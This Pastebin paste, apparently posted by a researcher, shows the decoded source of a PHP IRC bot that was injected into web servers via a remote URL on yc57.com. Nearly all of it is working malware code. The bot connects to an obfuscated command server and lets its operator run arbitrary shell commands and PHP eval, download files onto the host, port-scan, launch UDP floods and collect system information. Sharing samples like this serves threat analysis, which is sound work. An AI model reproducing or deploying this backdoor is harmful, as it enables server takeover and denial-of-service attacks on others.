API tools faq
paste
deependresearch

PHP shell hosted at yc57.com

deependresearch
May 27th, 2015
476
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.45 KB | None | 0 0
raw download clone embed print report
  1. Saw this PHP script on yc57.com. Originally seen via 61.38.194.42 attempting PHP exploits and injecting http://www.yc57.com/.mods//bt.php. Decoded below.
  2. ++++++++++++++++++++++++++++++++
  3. <?php class vmZbb {
  4. var $nRwfXPH = array("aaZgW" => "PCE+OCEnPDQ+KTA6", "ezwFAS" => "OiY3Ig==", "RfuxW" => "scary", "xYqdXo" => "11", "gun" => "#wWw#", "CRCdh" => "scan", "Ohjdb" => "41aa15390e2efa34ac693c3bd7cb8e88", "roCny" => ".", "RREcnGEu" => "*");
  5. var $hgesutQ = array();
  6. var $hGruy = array("key-a" => "DRPkovKAPXFlcrw", "key-b" => "kVeWkRkXMbzUYtR", "key-c" => "xJgpJditmksvxUc");
  7. function Ounkw($rrcrgUu) {
  8. unset($this->hgesutQ[$rrcrgUu]);
  9. }
  10. function naElg($rrcrgUu) {
  11. if (isset($this->hgesutQ[$rrcrgUu])) return 1;
  12. else return 0;
  13. }
  14. function AditsD($rrcrgUu) {
  15. $this->hgesutQ[$rrcrgUu] = true;
  16. }
  17. function FFoLKHHqqE() {
  18. while (!feof($this->ksT)) {
  19. $this->fJpANTsz = trim(fgets($this->ksT, 512));
  20. $KhodsW = explode(" ", $this->fJpANTsz);
  21. if (substr($this->fJpANTsz, 0, 6) == "PING :") {
  22. $this->KLomkzG("PONG :" . substr($this->fJpANTsz, 6));
  23. }
  24. if (isset($KhodsW[1]) && $KhodsW[1] == "004") {
  25. $this->KLomkzG("JOIN " . $this->nRwfXPH['gun'] . " " . $this->nRwfXPH['CRCdh'] . "");
  26. $this->cAxzFHYY($this->nRwfXPH['gun'], $this->nRwfXPH['CRCdh']);
  27. $this->uIHOZc();
  28. }
  29. if (isset($KhodsW[1]) && $KhodsW[1] == "433") {
  30. $this->LOLpHKuw();
  31. }
  32. if ($this->fJpANTsz != $ql_U) {
  33. $hWXiOUN = array();
  34. $IIvkvCE = substr(strstr($this->fJpANTsz, " :"), 2);
  35. $bftnHiGf = explode(" ", $IIvkvCE);
  36. $uLZLOFK = explode("!", $KhodsW[0]);
  37. $OumZLm = explode("@", $uLZLOFK[1]);
  38. $OumZLm = $OumZLm[1];
  39. $uLZLOFK = substr($uLZLOFK[0], 1);
  40. $nSoJhoi = $KhodsW[0];
  41. if ($bftnHiGf[0] == $this->uLZLOFK) {
  42. for ($FjGtC = 0;$FjGtC < count($bftnHiGf);$FjGtC++) $hWXiOUN[$FjGtC] = $bftnHiGf[$FjGtC + 1];
  43. } else {
  44. for ($FjGtC = 0;$FjGtC < count($bftnHiGf);$FjGtC++) $hWXiOUN[$FjGtC] = $bftnHiGf[$FjGtC];
  45. }
  46. if (count($KhodsW) > 2) {
  47. switch ($KhodsW[1]) {
  48. case "QUIT":
  49. if ($this->naElg($nSoJhoi)) {
  50. $this->Ounkw($nSoJhoi);
  51. }
  52. break;
  53. case "PART":
  54. if ($this->naElg($nSoJhoi)) {
  55. $this->Ounkw($nSoJhoi);
  56. }
  57. break;
  58. case "PRIVMSG":
  59. if (!$this->naElg($nSoJhoi) && (md5($OumZLm) == $this->nRwfXPH['RREcnGEu'] || $this->nRwfXPH['RREcnGEu'] == "*")) {
  60. if (substr($hWXiOUN[0], 0, 1) == $this->nRwfXPH['roCny']) {
  61. switch (substr($hWXiOUN[0], 1)) {
  62. case "user":
  63. if (md5($hWXiOUN[1]) == $this->nRwfXPH['Ohjdb']) {
  64. $this->AditsD($nSoJhoi);
  65. } else {
  66. $this->FDCyrDQm($this->nRwfXPH['gun'], "[Auth]: Fout password $uLZLOFK idioot!!");
  67. }
  68. break;
  69. }
  70. }
  71. } elseif ($this->naElg($nSoJhoi)) {
  72. if (substr($hWXiOUN[0], 0, 1) == $this->nRwfXPH['roCny']) {
  73. switch (substr($hWXiOUN[0], 1)) {
  74. case "download":
  75. if (count($hWXiOUN) > 2) {
  76. if (!$hkAvw = fopen($hWXiOUN[2], "w")) {
  77. $this->OERaSjh($this->nRwfXPH['gun'], "[download]: Downloaden kan niet!, permission denied.");
  78. } else {
  79. if (!$wPH = file($hWXiOUN[1])) {
  80. $this->OERaSjh($this->nRwfXPH['gun'], "[download]: Er kan niet worden gedownload van " . $hWXiOUN[1] . "");
  81. } else {
  82. for ($FjGtC = 0;$FjGtC <= count($wPH);$FjGtC++) {
  83. fwrite($hkAvw, $wPH[$FjGtC]);
  84. }
  85. $this->OERaSjh($this->nRwfXPH['gun'], "[download]: Bestand " . $hWXiOUN[1] . " downloaded naar " . $hWXiOUN[2] . "");
  86. }
  87. fclose($hkAvw);
  88. }
  89. }
  90. break;
  91. case "logout":
  92. $this->Ounkw($nSoJhoi);
  93. $this->OERaSjh($this->nRwfXPH['gun'], "[Auth]14 Je bent nu uitgelogt $uLZLOFK");
  94. break;
  95. case "exec":
  96. $AVO = substr(strstr($IIvkvCE, $hWXiOUN[0]), strlen($hWXiOUN[0]) + 1);
  97. $ReJOm = exec($AVO);
  98. $wPH = explode("
  99. ", $ReJOm);
  100. for ($FjGtC = 0;$FjGtC < count($wPH);$FjGtC++) if ($wPH[$FjGtC] != NULL) $this->OERaSjh($this->nRwfXPH['gun'], " : " . trim($wPH[$FjGtC]));
  101. break;
  102. case "system":
  103. $AVO = substr(strstr($IIvkvCE, $hWXiOUN[0]), strlen($hWXiOUN[0]) + 1);
  104. $ReJOm = system($AVO);
  105. $wPH = explode("
  106. ", $ReJOm);
  107. for ($FjGtC = 0;$FjGtC < count($wPH);$FjGtC++) if ($wPH[$FjGtC] != NULL) $this->OERaSjh($this->nRwfXPH['gun'], " : " . trim($wPH[$FjGtC]));
  108. break;
  109. case "passthru":
  110. $AVO = substr(strstr($IIvkvCE, $hWXiOUN[0]), strlen($hWXiOUN[0]) + 1);
  111. $ReJOm = passthru($AVO);
  112. $wPH = explode("
  113. ", $ReJOm);
  114. for ($FjGtC = 0;$FjGtC < count($wPH);$FjGtC++) if ($wPH[$FjGtC] != NULL) $this->OERaSjh($this->nRwfXPH['gun'], " : " . trim($wPH[$FjGtC]));
  115. break;
  116. case "die":
  117. $this->KLomkzG("QUIT :die command from $uLZLOFK");
  118. fclose($this->ksT);
  119. exit;
  120. case "pscan":
  121. if (count($hWXiOUN) > 2) {
  122. if (fsockopen($hWXiOUN[1], $hWXiOUN[2], $e, $s, 15)) {
  123. $this->OERaSjh($this->nRwfXPH['gun'], "[pscan]: " . $hWXiOUN[1] . ":" . $hWXiOUN[2] . " is open");
  124. } else {
  125. $this->OERaSjh($this->nRwfXPH['gun'], "[pscan]: " . $hWXiOUN[1] . ":" . $hWXiOUN[2] . " is closed");
  126. }
  127. }
  128. break;
  129. case "restart":
  130. $this->KLomkzG("QUIT :gerestart door $uLZLOFK");
  131. fclose($this->ksT);
  132. $this->Ipiz();
  133. break;
  134. case "info":
  135. $this->uIHOZc();
  136. break;
  137. case "sexec":
  138. $AVO = substr(strstr($IIvkvCE, $hWXiOUN[0]), strlen($hWXiOUN[0]) + 1);
  139. $ReJOm = shell_exec($AVO);
  140. $wPH = explode("
  141. ", $ReJOm);
  142. for ($FjGtC = 0;$FjGtC < count($wPH);$FjGtC++) if ($wPH[$FjGtC] != NULL) $this->OERaSjh($this->nRwfXPH['gun'], " : " . trim($wPH[$FjGtC]));
  143. break;
  144. case "udpflood":
  145. if (count($hWXiOUN) > 3) {
  146. $this->yudIwhg($hWXiOUN[1], $hWXiOUN[2], $hWXiOUN[3]);
  147. }
  148. break;
  149. case "rndnick":
  150. $this->LOLpHKuw();
  151. break;
  152. case "dns":
  153. if (isset($hWXiOUN[1])) {
  154. $hkAvw = explode(".", $hWXiOUN[1]);
  155. if (count($hkAvw) == 4 && is_numeric($hkAvw[0]) && is_numeric($hkAvw[1]) && is_numeric($hkAvw[2]) && is_numeric($hkAvw[3])) {
  156. $this->OERaSjh($this->nRwfXPH['gun'], "[dns]: " . $hWXiOUN[1] . " => " . gethostbyaddr($hWXiOUN[1]));
  157. } else {
  158. $this->OERaSjh($this->nRwfXPH['gun'], "[dns]: " . $hWXiOUN[1] . " => " . gethostbyname($hWXiOUN[1]));
  159. }
  160. }
  161. break;
  162. case "eval":
  163. $eval = eval(substr(strstr($IIvkvCE, $hWXiOUN[1]), strlen($hWXiOUN[1])));
  164. break;
  165. case "raw":
  166. $this->KLomkzG(strstr($IIvkvCE, $hWXiOUN[1]));
  167. break;
  168. }
  169. }
  170. }
  171. break;
  172. }
  173. }
  174. }
  175. $ql_U = $this->fJpANTsz;
  176. }
  177. $this->Ipiz();
  178. }
  179. function OERaSjh($FhCGqyb, $ixFDt) {
  180. $this->KLomkzG("PRIVMSG $FhCGqyb :$ixFDt");
  181. }
  182. function yudIwhg($rrcrgUu, $WkrEr, $fYSJQWG) {
  183. $this->OERaSjh($this->nRwfXPH['gun'], "[UdpFlood Gestart!]");
  184. $tBaXtCL = "";
  185. for ($FjGtC = 0;$FjGtC < $WkrEr;$FjGtC++) {
  186. $tBaXtCL.= chr(mt_rand(1, 256));
  187. }
  188. $JyGZ = time();
  189. $FjGtC = 0;
  190. while (time() - $JyGZ < $fYSJQWG) {
  191. $zQuDAm = fsockopen("udp://" . $rrcrgUu, mt_rand(0, 6000), $e, $s, 5);
  192. fwrite($zQuDAm, $tBaXtCL);
  193. fclose($zQuDAm);
  194. $FjGtC++;
  195. }
  196. $qIACs = $FjGtC * $WkrEr;
  197. $qIACs = $qIACs / 1048576;
  198. $DohnDj = $qIACs / $fYSJQWG;
  199. $DohnDj = round($DohnDj);
  200. $qIACs = round($qIACs);
  201. $this->OERaSjh($this->nRwfXPH['gun'], "[UdpFlood Afgerond!]: $qIACs MB verzonden / gemiddelde: $DohnDj MB/s ");
  202. }
  203. function KLomkzG($ixFDt) {
  204. fwrite($this->ksT, "$ixFDt
  205. ");
  206. }
  207. function uIHOZc() {
  208. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  209. $QrTn = "4ON";
  210. } else {
  211. $QrTn = "9OFF";
  212. }
  213. $FXPCG = php_uname();
  214. if ($FXPCG == "") {
  215. $WccP = "15---";
  216. } else {
  217. $WccP = "15" . $FXPCG . "";
  218. }
  219. $TrHpYbd = "15http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . "";
  220. $zVF = getcwd() . "";
  221. $ghXGskJ = "15" . $zVF . "";
  222. $CUKbLE = fileperms("$zVF");
  223. if (($CUKbLE & 0xC000) == 0xC000) {
  224. $AUvgCq = 's';
  225. } elseif (($CUKbLE & 0xA000) == 0xA000) {
  226. $AUvgCq = 'l';
  227. } elseif (($CUKbLE & 0x8000) == 0x8000) {
  228. $AUvgCq = '-';
  229. } elseif (($CUKbLE & 0x6000) == 0x6000) {
  230. $AUvgCq = 'b';
  231. } elseif (($CUKbLE & 0x4000) == 0x4000) {
  232. $AUvgCq = 'd';
  233. } elseif (($CUKbLE & 0x2000) == 0x2000) {
  234. $AUvgCq = 'c';
  235. } elseif (($CUKbLE & 0x1000) == 0x1000) {
  236. $AUvgCq = 'p';
  237. } else {
  238. $AUvgCq = 'u';
  239. }
  240. $AUvgCq.= (($CUKbLE & 0x0100) ? 'r' : '-');
  241. $AUvgCq.= (($CUKbLE & 0x0080) ? 'w' : '-');
  242. $AUvgCq.= (($CUKbLE & 0x0040) ? (($CUKbLE & 0x0800) ? 's' : 'x') : (($CUKbLE & 0x0800) ? 'S' : '-'));
  243. $AUvgCq.= (($CUKbLE & 0x0020) ? 'r' : '-');
  244. $AUvgCq.= (($CUKbLE & 0x0010) ? 'w' : '-');
  245. $AUvgCq.= (($CUKbLE & 0x0008) ? (($CUKbLE & 0x0400) ? 's' : 'x') : (($CUKbLE & 0x0400) ? 'S' : '-'));
  246. $AUvgCq.= (($CUKbLE & 0x0004) ? 'r' : '-');
  247. $AUvgCq.= (($CUKbLE & 0x0002) ? 'w' : '-');
  248. $AUvgCq.= (($CUKbLE & 0x0001) ? (($CUKbLE & 0x0200) ? 't' : 'x') : (($CUKbLE & 0x0200) ? 'T' : '-'));
  249. $WDXhvJi = "15" . $AUvgCq . "";
  250. $this->OERaSjh($this->nRwfXPH['gun'], "14[SAFE: $QrTn14]15 $TrHpYbd 14[pwd:]15 $ghXGskJ 14($WDXhvJi14) [uname:]15 $WccP");
  251. }
  252. function LOLpHKuw() {
  253. $DaVcfOa = 'abcdefghijklm)nopqrstuvwxyz_ABCDEFGHIJKLM(NOPQRSTUVWXYZ-0123456789';
  254. $dNHtowJ = strlen($DaVcfOa);
  255. for ($FjGtC = 0;$FjGtC < $this->nRwfXPH['xYqdXo'];$FjGtC++) {
  256. $yekKeTT.= $DaVcfOa[rand(0, $dNHtowJ - 1) ];
  257. }
  258. $this->KLomkzG("NICK [" . $yekKeTT . "]");
  259. }
  260. function FDCyrDQm($FhCGqyb, $ixFDt) {
  261. $this->KLomkzG("NOTICE $FhCGqyb :$ixFDt");
  262. }
  263. function Ipiz() {
  264. if (!($this->ksT = fsockopen(hSPowtYc($this->nRwfXPH['aaZgW'], $this->hGruy['key-a']), hSPowtYc($this->nRwfXPH['ezwFAS'], $this->hGruy['key-b']), $e, $s, 30))) $this->Ipiz();
  265. $this->zttfgZR();
  266. if (strlen($this->nRwfXPH['RfuxW']) > 0) $this->KLomkzG("PASS " . $this->nRwfXPH['RfuxW']);
  267. $this->LOLpHKuw();
  268. $this->FFoLKHHqqE();
  269. }
  270. function cAxzFHYY($gun, $CRCdh = NULL) {
  271. $this->KLomkzG("JOIN $gun $CRCdh");
  272. }
  273. function zttfgZR() {
  274. $DaVcfOa = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  275. $dNHtowJ = strlen($DaVcfOa);
  276. for ($FjGtC = 0;$FjGtC < 6;$FjGtC++) {
  277. $yekKeTT.= $DaVcfOa[rand(0, $dNHtowJ - 1) ];
  278. }
  279. if (php_uname() == "") {
  280. $FXPCG = "---";
  281. } else {
  282. $FXPCG = php_uname();
  283. }
  284. $this->KLomkzG("USER " . $yekKeTT . " 127.0.0.1 localhost :" . $FXPCG . "");
  285. }
  286. }
  287. function hSPowtYc($pbAPE, $hGruy = '') {
  288. if ($hGruy == '') {
  289. return $pbAPE;
  290. }
  291. $pbAPE = base64_decode($pbAPE);
  292. $hGruy = str_replace(' ', '', $hGruy);
  293. if (strlen($hGruy) < 8) {
  294. exit('key error');
  295. }
  296. $BpNUQ = strlen($hGruy);
  297. if ($BpNUQ > 32) {
  298. $BpNUQ = 32;
  299. }
  300. $hGruy = substr($hGruy, 0, $BpNUQ);
  301. $ZSCf = strlen($pbAPE);
  302. $xWt = str_repeat("", $ZSCf);
  303. $nfLR = str_repeat("", $ZSCf);
  304. $CjUjHfZs = str_pad("", $ZSCf, $hGruy);
  305. $pbAPE = (($pbAPE ^ $CjUjHfZs) & $xWt) | ($pbAPE & $nfLR);
  306. return $pbAPE;
  307. }
  308. $RtEZIUc = new vmZbb;
  309. $RtEZIUc->Ipiz();
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!